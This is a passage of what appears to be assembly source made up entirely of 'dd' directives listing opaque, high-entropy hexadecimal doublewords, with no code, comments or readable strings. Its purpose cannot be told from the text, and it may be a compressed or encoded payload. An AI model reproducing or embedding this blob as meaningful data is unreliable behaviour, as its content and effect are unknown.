42C0B4h, 0E4534AFEh dd 8D6DD0AAh, 0D700C8FCh, 9772EF0Dh, 8FE8C3h, 98E0138h dd 2C03C766h, 43C2830Fh, 7F084106h, 3AD08107h, 0CCB00F0h dd 0E2EACBFh, 2014510h, 2D4C6A30h, 0B09FC32Bh, 132C0732h dd 121CF018h, 11C1D08h, 80B91E80h, 8B0EC020h, 31473h, 0EE930C69h dd 0F29FEDAh, 2C6EE000h, 8C046865h, 43C43EB5h, 20748680h dd 80401C93h, 758D3803h, 0F9601317h, 2870A203h, 53620B72h dd 0CC80C214h, 55B39296h, 4A00DB79h, 541825BCh, 852120h dd 0A542F4ADh, 0DE973E16h, 3441331Fh, 2B1A8179h, 85240F4Ch dd 1D453E9h, 0C9E7A06Fh, 0C2C40709h, 0D021E365h, 0FACF4F94h dd 127113Ch, 0BD47B85Bh, 0EC85422h, 4CBE00B0h, 6303E179h dd 443D6C61h, 65768072h, 0EC749530h, 3A430E50h, 75A0CCB4h dd 6C118721h, 1D7CA13Bh, 9C80890Ah, 0C58B730h, 87D4009Fh dd 0DB45C6E1h, 100009BFh, 404D8D43h, 50DA1463h, 0D9B45Ch dd 74C3FB3Ah, 0E9870CBEh, 0F1044F98h, 63DE9515h, 0CCC0F2C7h dd 75804CFEh, 755A00F3h, 0E7F9DF5Fh, 550025DDh, 450F43Bh dd 1F84F335h, 336F42h, 9F90E82Eh, 0CC00E446h, 0DC09E03Fh dd 1F41F1h, 17122211h, 870D072Bh, 0AF0F8000h, 9CADC75h dd 0B8A02E0h, 3EF708BAh, 0EC55D660h, 0CA6C51Eh, 89F8F3CAh dd 0D9B47C01h, 50E46E53h, 232A0208h, 28877141h, 3B83FC80h dd 76B8D12Eh, 0E10A300h, 0DD114178h, 0B66E0003h, 72040C28h dd 8A7B1812h, 3A3901F2h, 0E758250h, 41020742h, 78E95303h dd 1CCBC4h, 522249FFh, 85BABE45h, 0A2315D00h, 0A36F5853h dd 0FFC50F11h, 88E0C733h, 5A65372Bh, 0FE2A8200h, 0C0B70F02h dd 0F84D0067h, 9A72F9B5h, 8F076D17h, 0E78BAAFDh, 2ABF0370h dd 311600CFh, 58633F23h, 6DF6D761h, 0FC55C000h, 8D95FA2Ch dd 91BD072Ah, 0B0EA4C39h, 5F0B4D93h, 1D7D8F00h, 909C1FBCh dd 0AEAD0141h, 0C55880D6h, 70182023h, 1DCCA13Bh, 5280880Ah dd 0EC2CA7D4h, 54A3022Dh, 29B63D8Dh, 0A51A0560h, 0EB97E48h dd 0E0F3CB9Ch, 440C2A20h, 5089077Ch, 51100DD1h, 61E91977h dd 0A6C3202Fh, 1500E8F4h, 28799020h, 2D058Bh, 1CDB313Fh dd 0DAC043C1h, 74D80100h, 0E31DD112h, 0C0E0072h, 0F61485E1h dd 0E42CC8FCh, 7300CBDAh, 785152F2h, 0FB600023h, 0C131A00Dh dd 20E14E1h, 54B98Dh, 0AEF3FD4Fh, 790B8FCh, 1CA483ACh dd 0E9ABA204h, 70816641h, 4717BA62h, 0C50040A7h, 27A09184h dd 24F50774h, 0F8FA80h, 0FC1390Dh, 920060FEh, 1D495057h dd 8CFE89h, 0EE475DDBh, 159862B8h, 81268D7Dh, 1612E344h dd 0AE80841Fh, 1418F51Bh, 42933A84h, 0BB00753Bh, 7378E5A7h dd 2300A56Ah, 3E797769h, 8D760Ah, 56423514h, 0F429DBB2h dd 5C0038EEh, 0EA72A5EBh, 0E2D14B0h, 39FC5A61h, 905C7C0h dd 93E47648h, 458C3C00h, 94BAEC3Eh, 75F500C5h, 9198548Bh dd 0C10074B1h, 3A77EF56h, 0A9D319h, 0EBE2BB0Dh, 4910434Fh dd 0DD07901Fh, 75623000h, 26961Bh, 0E9855BA5h, 103D154Ch dd 0A316A80Fh, 0B9A9E7A7h, 147D8BD0h, 5FB60028h, 8F805E5Bh dd 173936E9h, 95380C9h, 480F34C3h, 4CAE4C41h, 7794050Ch dd 830011BCh, 0C958F631h, 0D9B81Ch, 240A7EFFh, 0F70545B5h dd 0C201E300h, 0DF8DD284h, 35460E1Ch, 89800615h, 40E3E2D7h dd 14012A07h, 3C203B11h, 1E4199F0h, 0C08944BEh, 1525F7FEh dd 0C3006978h, 3519010h, 0B823A905h, 495A038Eh, 7180A5C8h dd 790407E0h, 93893200h, 46B0095Ch, 82DC1FE2h, 0A314C084h dd 0BA1C1318h, 97920400h, 0E8BF6793h, 0CCA006Fh, 0B2FF9415h dd 3D008BC5h, 0D43B060Eh, 7D485Ch, 82B13E2Ch, 1A72D939h dd 8D6C9000h, 9149E534h, 3C75DDh, 0A47DA6F8h, 460FA712h dd 0E1541A00h, 7C8848A5h, 77190094h, 4CEFEA99h, 0FF073534h dd 4D21832h, 0A8C35B40h, 0AA4A3D3Eh, 0DDF43080h, 0F640616Eh dd 0FA81F800h, 4BBF4F0Ah, 878A00D1h, 0FDA68846h, 0F62E410Ch dd 0BB0EF43Dh, 27902023h, 3AF8F06Ah, 190096F9h, 0D5D20A0Ch dd 100E954h, 0D3445E9Fh, 0D8EE02h, 9B750852h, 48711CDDh dd 2AC31000h, 3B558F8h, 33C812A0h, 8FF05DBh, 57A9019Fh dd 0FC2DE241h, 0C174D0D2h, 8A49C200h, 8EF83BCAh, 73200FBh dd 87D5355Ah, 9D0088F1h, 0C8D0E44Ch, 184351C1h, 66085D3Bh dd 42001D40h, 0EFD6934Eh, 1F90ABDCh, 40106A12h, 3075448Dh dd 0AC09B93Fh, 9109B5h, 0F5EF123Eh, 8BF61EC4h, 0DD807E06h dd 0BE11F9ECh, 0CA2C4128h, 803FF28Dh, 0E0EB4AD6h, 5BF782h dd 0F8C7448Ch, 0D0FB5FEFh, 4A8A330Fh, 95F58013h, 3FF0DA2h dd 0F72765C5h, 56D0B614h, 85395917h, 0CB4800EAh, 0D947EBCh dd 158A0582h, 81615E4Ch, 0F00F1032h, 35170BC3h, 700F3C5h dd 0E37F02BAh, 0B1E40074h, 0C8F26FA9h, 9C00A892h, 0F385E83Eh dd 127B81h, 8B414C87h, 0D03D1880h, 0D6732600h, 830FDFA7h dd 124300E5h, 60890C24h, 0DF901A90h, 59EF1000h, 5D88A03h dd 352900CBh, 0BA37DCD2h, 7200DAC1h, 22124E1Fh, 1772110h dd 0C6F7690Dh, 402BACCEh, 0CB2519B0h, 1F947500h, 0DD1802F3h dd 5E1D0064h, 913BA40h, 0E800CEFAh, 0F535AE4Ah, 53CCA9h dd 0D9D24EFFh, 897F4801h, 16C90A07h, 64C158FCh, 0E6600E19h dd 2833B32h, 3E92042Ch, 3B66A080h, 7127506h, 76C98500h dd 45BE8B20h, 0EEFC2C5Dh, 814000Bh, 21612EBh, 0C00017Ah dd 0D400EC0h, 355449h, 41CE751Bh, 8289AC08h, 0EAA4F800h dd 4790C362h, 142D00DCh, 3EE091FBh, 1500EE21h, 0EC2906C0h dd 0F01F84h, 1DC8BD4Ch, 0FC485FB9h, 0EFE06B02h, 0F58E412Dh dd 344F9B40h, 0D029EDF5h, 0C50079B7h, 4ACCBD43h, 4FB67h dd 0A0380C4h, 8B87558Dh, 351DD77Dh, 49001EB5h, 1AB940C6h dd 19FA00C4h, 1624DEC0h, 0B100DF77h, 9B7A8528h, 70CAA1Dh dd 899E2099h, 1A7FB0FBh, 24008E01h, 7027CA11h, 0FCDFF045h dd 320D0598h, 802EE2E9h, 9B89110Fh, 50003E71h, 25F5E86Fh dd 1A6DC9h, 2DAF884Ah, 0BD830685h, 9847E40Fh, 0EB2BA108h dd 0B02E7E1Ch, 7500F25Dh, 43C61611h, 28FB05h, 0C134E94Ah dd 0A282701Dh, 1C8E9507h, 857214C0h, 0D7C0C0D2h, 0B4481FA0h dd 5C80FAEAh, 0F78023Ah, 0F7008537h, 0B26BBA13h, 710D49Ch dd 80792075h, 1757D054h, 11001993h, 0D2515303h, 0A04D14h dd 0F78B4781h, 0D0AA4256h, 9EFFB300h, 0E8FCEF51h, 136100D3h dd 7F468A3Ch, 88050920h, 699D7F9h, 87578580h, 30871C2h dd 0A2B45005h, 604C6A8Eh, 4DE82C66h, 49271B00h, 0C0223Dh dd 0BAE12A76h, 0AA922E38h, 7B430700h, 0EE811EE0h, 971400A2h dd 754F8568h, 0A91328E2h, 6100CA21h, 951ABB92h, 610D0705h dd 50201253h, 915189D4h, 80D00E3Ch, 3C4F9BE8h, 1F7F55h dd 522228DCh dd 0A11392F0h, 0E6E55800h, 309419D1h, 21F53F59h, 0D740A00h dd 0ADD73C84h, 4300EC90h, 564B5E2Ah, 1C212C30h, 0DE1D5960h dd 40B51F5Bh, 792A4D6h, 2C037389h, 852E56DDh, 352DA0FCh dd 6B6C1EE9h, 0C0655D64h, 991257C2h, 0AB735B30h, 6800C4E8h dd 164E912Dh, 0AF6CB8h, 0C20B9557h, 0C050C194h, 2DAD2201h dd 49AC5C90h, 4021FD40h, 6C7002Ch, 2811D6D4h, 9B03CB42h dd 22431AFDh, 7AD998AAh, 4330093h, 3C60ABCh, 0C9009901h dd 6F8B29DEh, 75B9A609h, 116500A5h, 5B73A488h, 1AE626C7h dd 535D7401h, 41243EF9h, 0D794E8h, 8DD38549h, 0E8CB3122h dd 7B80BE1Eh, 4C7E04C0h, 1FBAE619h, 402F2BE1h, 0F62E284Ah dd 46FE2D42h, 52D6EE00h, 92B6E74Fh, 2AB3008Dh, 1CB95D65h dd 2E1F29C4h, 80E7438h, 4254C730h, 17AF9770h, 3F59FA90h dd 0EC00F7F0h, 0CF806A9h, 0E4008AF4h, 89FC7E5Fh, 0F100F41h dd 53A22F3Eh, 3B2C9FA0h, 8000550Eh, 0A9F752B9h, 77138B2Ah dd 1AA80796h, 0B008F49Fh, 4A95651Dh, 54855600h, 5E2F412Eh dd 6570E776h, 0AA810057h, 80744965h, 0BE0207F0h, 0EB0F0263h dd 0B24DE005h, 7F17F8C1h, 0EC880E11h, 29604276h, 5245CC6h dd 55455900h, 0EB3125B2h, 93AF00CAh, 5C7D1404h, 0E1002CBCh dd 100E2F71h, 77F1799Ch, 9A0A0078h, 0EC6EDF3Eh, 52000B44h dd 7367650Eh, 0EE9320h, 0D3815A84h, 9B64C883h, 71BF1800h dd 17514794h, 93F20052h, 31D0811Fh, 0F80039D2h, 41D7408h dd 5275F7h, 9A16B192h, 730A8BB0h, 806D400h, 95419FE8h dd 0B8495F01h, 0B87E007Eh, 9451A25Ch, 740C0018h, 76453AF4h dd 6F3ED5EFh, 0BD200735h, 95F00A9Eh, 3CE25EAh, 0DB481408h dd 0F7A0D81Eh, 3D00A5D0h, 8A9018A9h, 7BC8FE04h, 6CF100F6h dd 59AD14B9h, 107D865h, 0C7D8051h, 0BBF27F50h, 5AEB0039h dd 1FE81A03h, 0C8005220h, 0E224D455h, 0F45148Ah, 4D485D37h dd 0D03BA520h, 46BE5105h, 0D800912Eh, 46048D21h, 0AA9E00C0h dd 696FB20h, 0D900AB10h, 0FAEBFC4h, 98177504h, 95700023h dd 16F2B8D8h, 0BE005CD4h, 0F8573ECEh, 54964h, 0B814922Ah dd 6741526h, 5869A703h, 0D8D1D7C2h, 13F681Ch, 3323E1FDh dd 0D8458850h, 10FA03B2h, 48A05D3Dh, 7ED20333h, 0C0800F40h dd 704CA3Eh, 5E0E8803h, 304AC7C3h, 0C40C51F1h, 0B2262F07h dd 3A701B39h, 7A66320Eh, 2E467588h, 0E5F45Ah, 5DD05110h dd 0E800F83Eh, 0D825996Fh, 730BEE89h, 4FAE0h, 0C822B7Ch dd 265FAD56h, 2ACBC907h, 5B7046FBh, 16BD1A21h, 0D0A58h dd 1E8CED37h, 7800A06Bh, 0FF21CC43h, 274D10h, 60DEDF75h dd 7DF9B1E7h, 0A7B36400h, 0EB2AC154h, 24A90707h, 57EA5953h dd 0F57A501Fh, 84002065h, 2C413249h, 7944A0h, 70B8220Ah dd 62FB53BDh, 190507Fh, 3300A0FCh, 13156A8h, 200BE5h, 5C15D524h dd 6051F8C6h, 0DB040801h, 2BAB4533h, 59C29E4h, 1D1CF527h dd 10F28019h, 13001109h, 87D18512h, 0EE881848h, 44012C1Ch dd 57003F59h, 0D5721571h, 2D00B479h, 0DF5AD4F6h, 44CBD6Dh dd 503089D9h, 338C8004h, 0A00CFD2h, 8D88EF18h, 219C11h dd 0C36847C6h, 0E27B7880h, 0B055500h, 22CA2EBAh, 60570044h dd 4B011029h, 2801FA5Fh, 16BE5250h, 4C4CB24h, 0D58300B3h dd 0A981FBEBh, 9100187Ah, 235060Ch, 0E2A876h, 5A402D7Ch dd 52643155h, 83762AE4h, 0A6187800h, 14D98906h, 0FCCE78FFh dd 5A540E40h, 1CAFE4DDh, 0A42BFAC3h, 830C1AA0h, 7430682Eh dd 14020800h, 0FE6A24B2h, 3F40F60h, 0AA0129B0h, 0CED8AC10h dd 808A3EC0h, 0AF49741Fh, 0DCE82B00h, 0E2F8B2h, 8DFC864Ah dd 0D65048A4h, 7F000D7Eh, 0C52F4423h, 7380C96Dh, 90D300A8h dd 6774292Eh, 32003BD9h, 1120C61h, 2036A5Bh, 0AB574555h dd 946330C3h, 2D9935EBh, 9014D05Eh, 1C8ACD1Fh, 66B000B9h dd 0CE81DCAAh, 0C2D80088h, 0C457016Ah, 430060C3h, 0F87D89A3h dd 2F6FFABh, 996625A7h, 4ADEEF7Eh, 3302C900h, 10CE307h dd 1C8D180Bh, 0D8C26938h, 9B1E825Ch, 0EC00428Ah, 8BF697C8h dd 0ABBC0229h, 519ACAA1h, 864BC640h, 5045480Ah, 500B91Fh dd 44F0E83Fh, 34CE0095h, 7DDB1EC3h, 0FE033E09h, 1058E665h dd 0E7C0F8CDh, 0EA310066h, 110DA5C3h, 100A229h, 0DC1C5E06h dd 86957Eh, 70FEF684h, 80905214h, 0D821E500h, 7D05253Bh dd 4280E2Eh, 0A54261A6h, 0D0609FA0h, 1C002DE3h, 715FC831h dd 934335h, 8D092280h, 89A59644h, 6610B900h, 148EBB8h dd 55500018h, 0C395CCCFh, 8300021Fh, 20CD0C10h, 0B0067Dh dd 6CE8AAF2h, 0F312C879h, 80037BFEh, 363E2E26h, 6A65D064h dd 0CD770006h, 234D836Dh, 9DB0145Bh, 15A65E14h, 0A39400D5h dd 0BEA09A95h, 74EB0D3h, 3F8624FEh, 0E72230D2h, 420F01B7h dd 56A57h, 0F2088AECh, 3B580051h, 0C24AE5FDh, 0A258FCDDh dd 452401DBh, 4E776905h, 3491E8h, 0D317DB79h, 0A1C267Ah dd 9DC0C100h, 0A6C81DE0h, 0F7070142h, 0D8C3F8C2h, 0FF2FD983h dd 10B3D0F0h, 0E801E074h, 601316FFh, 0CF0E6Ah, 2D461C66h dd 7C09E381h, 0B6430403h, 0C0C0D3A0h, 0D80108h, 48469466h dd 65AD7AAAh, 745A3401h, 0C081D9C8h, 0D8D0D0h, 85CCFCE0h dd 26076B24h, 303CC200h, 0ED805889h, 66813BB3h, 5AA59Fh dd 0D485F442h, 1000D07Ah, 3738273Fh, 0A241B6h, 0B804129Ah dd 8B2EC6AAh, 0ED779201h, 0B151520Ah, 45AC0E0h, 0B88DC850h dd 0D137837Ch, 38302880h, 130B0300h, 2B230A1Bh, 0AA5E0033h dd 8084B14Ah, 0A200C0C7h, 6AB550B6h, 1D35C5AEh, 3EF58B98h dd 0CAB803F9h, 335868F2h, 2B0328D8h, 44DB300h, 37F3C43Fh dd 1733C55h, 5663004h, 0BA1DC044h, 1D0FD276h, 405D786Ah dd 0FEE16753h, 6E010028h, 91F93538h, 22009409h, 0DAC144AAh dd 16EC89h, 693E552h, 92EA3FEh, 3133E81Eh, 1EA6C74Ch, 841403FDh dd 0A272F03h, 0E1F810C8h, 0D302B00h, 0EF4155A9h, 2DD500B0h dd 0D3B11994h, 3C031532h, 33527B12h, 0E117E36Ch, 5EE83407h dd 0CDF15898h, 8FE5300h, 0EC1EFF26h, 91FD1400h, 65C2ADE1h dd 47823B42h, 6E32EE80h, 0CB135C7Ch, 0AC841000h, 0D99CA548h dd 0A62D0042h, 2985E80Ch, 36FA4430h, 0B8310800h, 2371409h dd 0CC240764h, 0D0951A52h, 9BA9BDC5h, 92D7B700h, 0E7E3104Dh dd 776A3A1Bh, 7D249500h, 4C568F01h, 0E45C0C00h, 401563A6h dd 0C5D90050h, 2C8B2943h, 0B4014E93h, 7410623Ah, 3FE8B514h dd 19A30FC2h, 31270A2Bh, 0F037E771h, 12A6BA1h, 723A630Fh dd 6469F2h, 8230B07Dh, 43AA1EB6h, 0E889006Dh, 9EEA85EFh dd 0C3E33400h, 0C0BBB121h, 31AA3A35h, 0F184B303h, 0C3A51F04h dd 3BA80628h, 3A3064A0h, 9160FE09h, 7522306Ch, 8EAA6860h dd 0E4DAF200h, 80142E66h, 0D4503AC0h, 1F096A81h, 0E55185CEh dd 0EAE7EC89h, 835D8200h, 0FECA522Dh, 0C7B900AAh, 1015944Fh dd 88002A93h, 28AB5168h, 1F83F0B4h, 0F10C6Dh, 0EC174BEEh dd 6500E035h, 62C45EE1h, 0FE4E344h, 9514E589h, 29F3620h dd 0FA00A2BBh, 488858B5h, 2B082Ch, 940183Ch, 0AA49FFB0h dd 7393C500h, 5328BF07h, 641500C3h, 99200634h, 2B0578DDh dd 5B5C1189h, 60A478C2h, 30AEB15h, 0EC4502FAh, 0ADD85852h dd 3B004683h, 0FFAE6787h, 581849B9h, 0BE3E568Fh, 0F8712ACh dd 96C0A938h, 2C52D426h, 702AE309h, 0B6A83E4h, 3EEF9011h dd 0CEB8001Ah, 8F748D2h, 0AF982792h, 371D64F4h, 74ECAC16h dd 9880C21Ch, 0A5349714h, 7D2D0F72h, 19404312h, 0EC9E3937h dd 0A446A00h, 0CE64AA58h, 5F8500D0h, 3C3DC93Fh, 0AD39DE9Fh dd 75138059h, 508388EBh, 0A4C700AAh, 152553C6h, 2D004FF3h dd 791E3AFCh, 9A5BF8h, 1241FE5h, 0AF11E459h, 0D0033D00h dd 708498A4h, 0FEF28Fh, 736B6FF2h, 8CAA5524h, 8E749001h dd 5E9219A7h, 2785F8h, 8503D10h, 2F0C2E64h, 48F83E0Ah dd 8F00CDC6h, 5F4452B8h, 190A00E5h, 0AFF49940h, 0CD3A7180h dd 0C2248012h, 826F8A62h, 796E1DA6h, 85550303h, 2EB1215Eh dd 0A580F056h, 10658100h, 29DF4131h, 3D8F774Fh, 46002FC6h dd 97A323Fh, 0C500249Ch, 0E8842B54h, 40B3F7h, 37181665h dd 53429AFBh, 1331EA0Eh, 5F0E67EDh, 263A62C0h, 1493008Dh dd 97103644h, 0D6755420h, 0F3619801h, 453B92DEh, 40CC32E9h dd 4333CA9h, 0A126B700h, 29CA5C91h, 862B5B01h, 141CF92Fh dd 0C62D30h, 0FBA1FE45h, 83C22D7Fh, 400EBF8h, 6A762170h dd 136FCA5h, 75323C48h, 0C8180C24h, 0AE0F1499h, 0E0232091h dd 100EEB29h, 0F09004Bh, 12AFAA95h, 0AC38C21Fh, 47F20079h dd 4402652Ah, 407009F5h, 0DA8006F1h, 22F77ED2h, 1C1DE2FEh dd 0B3262D45h, 91BDC600h, 687130h, 33485E79h, 0FA8A4FFCh dd 28A97B00h, 39261980h, 2F7400F5h, 5DF45FC4h, 2200915Eh dd 0F86594CAh, 0E8CEB09Ah, 0E6B89Dh, 9C14B218h, 2A0B24C3h dd 0B0790800h, 8DFC5309h, 7D4EA48h, 5BC3048Ah, 212450DDh dd 0D200AAB7h, 0DB94719Ch, 6F5F44Bh, 0B23A4BBh, 0C20098D1h dd 3E988ACBh, 802113h, 7426C084h, 87ABF417h, 31A9CF02h dd 8FA7FABFh, 76FCC086h, 0B42CDADh, 3D023267h, 48662A80h dd 3F0044C4h, 2893DB49h, 3B5638A1h, 539DB732h, 3E8647Fh dd 2018421Ch, 9F0243A8h, 3D90A13Dh, 0FF93EC8h, 20BCD91Eh dd 41B1D44Fh, 11010033h, 0A4400343h, 6700DE34h, 0D8B4D753h dd 88FC3Fh, 0DAAD330Ch, 24CDC029h, 0F753FE00h, 1CA7A5D2h dd 3E500195h, 91DFC8A8h, 0B24460B5h, 55AFF39h, 17314FEBh dd 6A697F80h, 5B301E21h, 63FC09Eh, 56846B4Ah, 0D3A38B2Ch dd 0D044CF07h, 32EB6D70h, 40B20007h, 343F0937h, 26002D1Fh dd 18465698h, 0F48071B5h, 0CC020035h, 0EE4CDA24h, 40001E09h dd 8339B045h, 0D5CFAAh, 0A81AC91Ch, 0BBA5EDDAh, 5A962F0Eh dd 0D748C0A4h, 0F3FE63Ah, 35252991h, 0C717BB60h, 1D006434h dd 0A2D3D2E2h, 0E14F6Ah, 0B345233Eh, 20A9840Ch, 0E4EC3Ah dd 0AA5382B6h, 4C092293h, 0B00FFBADh, 4FAF8157h, 0C010DA47h dd 0F8BC1F2Ah, 9E031BB8h, 79BF4A85h, 6425A0FBh, 0A60C0F17h dd 758F9339h, 7DD8C560h, 0ED7A8D35h, 0E4A83700h, 0D6561CCEh dd 636E2A1h, 3465401h, 76007662h, 0E8028891h, 30D7B5Ah dd 707E843Bh, 0F0F77A85h, 0AC758224h, 0D1E62798h, 9F952200h dd 0D12A4FCh, 7A340047h, 0E804C8B9h, 7E3CC0ADh, 8770808Eh dd 4DBEE269h, 54F20E3Eh, 9767FC24h, 8BA4D08Fh, 76072B5Ch dd 0B5BCC025h, 0B752B620h, 0F0F6F1h, 0D092717Ah, 0FE81385Ah dd 13DF8C00h, 883F0848h, 0A58B01B0h, 5E956B77h, 0BBBD3092h dd 0D3005BF0h, 2704F3F0h, 11B974h, 9669508Ah, 1729BBC4h dd 587CC80Bh, 0FBCF0048h, 3EED805Ch, 0FD00C74Eh, 35BFC195h dd 320009E5h, 0E1731E82h, 85CA3Bh, 54862F07h, 109E6AE7h dd 37B47E01h, 4E05ACBEh, 0B16FE8C7h, 393B3827h, 7822F980h dd 0BF8EC59h, 6A3A401Ch, 0C38C49C0h, 2AFE909h, 97B4ED7Ah dd 11601674h, 2FE21CC7h, 0B1283C00h, 0DF1ECBF9h, 0AD3D00DDh dd 8AFA2730h, 653A22D2h, 34F49E60h, 9FCF3B40h, 961152h dd 0FF8E2E25h, 553C0310h, 0AF04E4E5h, 1B0061F2h, 0D5A71477h dd 37F4062h, 0A23F9A2Ch, 0C590832Eh, 9D054B6Ah, 0C35691Fh dd 455ACD00h, 0E79117h, 324A8110h, 22C2098Fh, 0EFB8B000h dd 0D6E22EFCh, 0AEEE00A7h, 5F74DADFh, 6A00B945h, 0BA8D4CD5h dd 1BDE453h, 0D6F8A032h, 0CC653B40h, 0C8168E4Bh, 6603B809h dd 88C9172Fh, 16D1CD99h, 0CF27A9h, 0D3672D0Fh, 4B00246Ah dd 0C73D9C15h, 388712h, 0E1B5358Eh, 207B3AD8h, 3C5A101Ch dd 0A14C2FCFh, 0EA9E0942h, 0C732D8h, 14FB89B0h, 3CDDA53Ah dd 0A75DD901h, 932156D8h, 0B795A0E3h, 20B80010h, 8CBF553Dh dd 7E0007F8h, 407D42FDh, 505AA41Fh, 722BF1DAh, 25180EA7h dd 8CE0336Dh, 0C81E1479h, 47895C00h, 9298714Dh, 4ED51D64h dd 7D2E40F1h, 0E637DA78h, 46B9C400h, 4B363A3h, 0BCB41CD0h dd 0DDCEC0ECh, 0E06F25DFh, 7668EA0Fh, 603E4E20h, 3B644E2Bh dd 487109h, 22759166h, 0A9944487h, 15BD8900h, 79566AA8h dd 3A430913h, 5900DBB3h, 0A2580693h, 1D52FB00h, 9E947E59h dd 1E3600F5h, 0CB349525h, 0AA003308h, 0A7E4C068h, 0F27AC322h dd 2BE00051h, 6B0D85E6h, 0B03F1F6Ch, 6919DA4h, 0F64C880h dd 4815F4CAh, 0C4002940h, 24269DF7h, 8D00090Ah, 6B5867EBh dd 0E106F0h, 86C403AFh, 912C2040h, 2A621D01h, 4F28023Fh dd 0B866F8h, 0A2F49C92h, 1C575E09h, 0DF956700h, 729A3F2Eh dd 0A1651C96h, 0B2444140h, 70CAFDE2h, 1A07551Bh, 74B66068h dd 8C9C9ED0h, 0B99D0042h, 0C8596D4Eh, 38C01CECh, 0CAFC4F7h dd 54D20050h, 2C634585h, 4100723Bh, 154A0B4Fh, 355ECBh dd 70AC4EA8h, 5FD5BD1h, 95796406h, 90740B9Dh, 11FEE7h dd 2DAD3FB5h, 0A66E64E7h, 0A410500h, 0E3AFB666h, 3C6AF609h dd 0F300FCBBh, 1354B0Bh, 9800FAC6h, 0C046D13h, 901C4E06h dd 0A4AA0075h, 8DB8F011h, 2400640Ah, 0F243AB04h, 15007DEh dd 0FF5F6AFBh, 0DC45E2DDh, 0B80BF7B9h, 80CE9504h, 0C451611Ch dd 3DBA0EA4h, 0AE7C5F0h, 386A8088h, 3C039964h, 0A0108DA8h dd 0D10B1DACh, 423483F2h, 14D8B2D8h, 0EF486A4Eh, 27400086h dd 96554152h, 4D050775h, 0A054BA08h, 0FC7328BBh, 68008C74h dd 6B2F135Ch, 4E5142h, 0D55247C2h, 0DE9DA396h, 43DA4100h dd 77A98F27h, 2DAC00C5h, 3A1DA6DFh, 7E009D30h, 0D76967EDh dd 13CA6Eh, 588DBADh, 847D8351h, 76818700h, 0A19BCCB8h dd 2D900089h, 98F50CE6h, 0D7975F4h, 0BB167B00h, 310157FDh dd 0C353064Bh, 662230EBh, 130073B8h, 90FA0681h, 53B858h dd 0AB2CDC59h, 30680D1Eh, 3E25E93Eh, 0FC059C73h, 0EFC350C1h dd 70E4BDB3h, 0F2213EB5h, 34232CFFh, 0CD00F37h, 604485A7h dd 31382433h, 80522831h, 54E41940h, 87C99h, 144B2C11h dd 7955A41Ah, 74A17D07h, 8B9303E8h, 0F60AB024h, 0B35300DDh dd 5010255Bh, 0BEE60D5h, 0E2308300h, 9750E01h, 487E00FFh dd 0A7521AA1h, 400D50Ch, 62BEE0DEh, 8153A0h, 438FE831h dd 3325D16Bh, 0E909D275h, 0EBB4B47h, 0C8EF80D3h, 0EF26610h dd 0B40A657Bh, 0AF80FEEEh, 5312EC43h, 295EEF0Eh, 7206803Ah dd 7BA2EAh, 7885463Bh, 0FAFFD11Ch, 0D76C0E03h, 80FE4F0Fh dd 472A7Ch, 7E8BF633h, 62C074C6h, 52605307h, 0D1B77718h dd 0C297BC0h, 12440F9Fh, 0CC20F804h, 1A4626FFh, 0D9754F01h dd 0A4DC4381h, 7FF59AE8h, 1C2C072Ah, 30D6AB18h, 373FE828h dd 1AC758h, 0EC99EA24h, 5FA858h, 264C4442h, 5B2DAF53h dd 0E094D500h, 3B1C98C4h dd 74F9A0BEh, 547300ECh, 3ED6AA20h, 5198E2C1h, 5F184300h dd 89652E7Ah, 545E0B24h, 360040D0h, 0E40594B1h, 7E75D40Eh dd 81CC3A1h, 4842C020h, 50EEA6h, 19D0DC7Ch, 0D3245303h dd 70463700h, 18C2A028h, 1834FA89h, 5A12FF82h, 0FC00AF74h dd 5F39DB31h, 0D8E2B0h, 7E1DFD94h, 7CF60542h, 82000EE6h dd 680AA21Ch, 974A18h, 40A5EB63h, 37148D3Eh, 4BC23B00h dd 0B2D6FB7Dh, 0EE7717h, 910C1867h, 0C7D7C6B7h, 0AFC8A500h dd 7F95A215h, 0B0040017h, 82D4BC92h, 1C007B29h, 0E0E8515Fh dd 0F303231h, 330A440Dh, 9B0C960h, 3B02010Bh, 67D1C50h dd 49DB608Bh, 9076010Ch, 78C3C129h, 7EB8304Ah, 5A8C081Dh dd 7F56CA40h, 1749BBh, 48DA1A32h, 71546CB9h, 731F9E7Bh dd 3D817256h, 75D13C89h, 868042BCh, 2C438890h, 9C71BE97h dd 4548CB00h, 58FDAD80h, 0CA1F2820h, 0E81201E8h, 94684693h dd 7034E4D8h, 7E0E37F6h, 0E0B7C11Bh, 0FED74E97h, 0F7C0302h dd 6D3D7AF5h, 601F4DF8h, 0D2F13304h, 3F822D37h, 88B3638Ah dd 0FA092h, 2808FD16h, 0E29C5E48h, 0FE00187Ch, 24B6BA8Ch dd 4E99E1h, 3172403Bh, 20A621EEh, 9028A900h, 8DFEF55Eh dd 54BF001Eh, 51C4D9A0h, 4470AB0Fh, 1C4BFF00h, 38BB5D9Dh dd 0FEA7132h, 7607B91h, 149500D7h, 0AAD504F0h, 0F7303Bh dd 5BDE97D1h, 107EB8Bh, 5DC9CAD4h, 0E8871067h, 0D50027E9h dd 18D02325h, 2EDAED84h, 3F70A56Ah, 46FDC580h, 8E4769EAh dd 0C3A1F400h, 838006C6h, 5198FFh, 0EF37107Eh, 0C4AA142Ah dd 638A5D0Fh, 351E977Ch, 2FB42480h, 43D2D9h, 0CED555Ah dd 70571908h, 871D79FAh, 54CF2088h, 803C004Ah, 638A551h dd 58A2B891h, 89000B15h, 88BC461Eh, 0EA4E5690h, 1877F2h dd 0EB1AC0Ah, 772E6D41h, 706A6200h, 7899DF60h, 14510010h dd 22836350h, 7D5C4161h, 73760E0Dh, 0BF67606Eh, 44704Eh dd 680E4A19h, 47667157h, 407C4100h, 6E727660h, 4CE900F9h dd 6BC47ADDh, 6409F07Fh, 80A66974h, 534018CFh, 48770061h dd 0B37C577Dh, 4E019046h, 7BE16ED3h, 62F89E67h, 8E700EF9h dd 0FF1C1743h, 826C6F1Fh, 603B7165h, 731ECBC0h, 5F697D02h dd 0E09EBE44h, 1E20AA15h, 800E1343h, 522A6670h, 71000C9Bh dd 0EE4A7A73h, 0F888DE65h, 1243001Ch, 3637E72h, 61776D55h dd 0B0604A00h, 0F07C6462h, 67700166h, 460E4486h, 5276EC0Ch dd 45B0711Ch, 743961C2h, 6EF6E063h, 0C7D81DADh, 66F1404Dh dd 76CC6A4Fh, 77146400h, 0A288477Fh, 0C12A000Dh, 2E54720Ch dd 4B000E73h, 0EA6F4363h, 581862h, 6C1C6847h, 77875166h dd 31706B00h, 1D466365h, 74487140h, 1F077972h, 80615167h dd 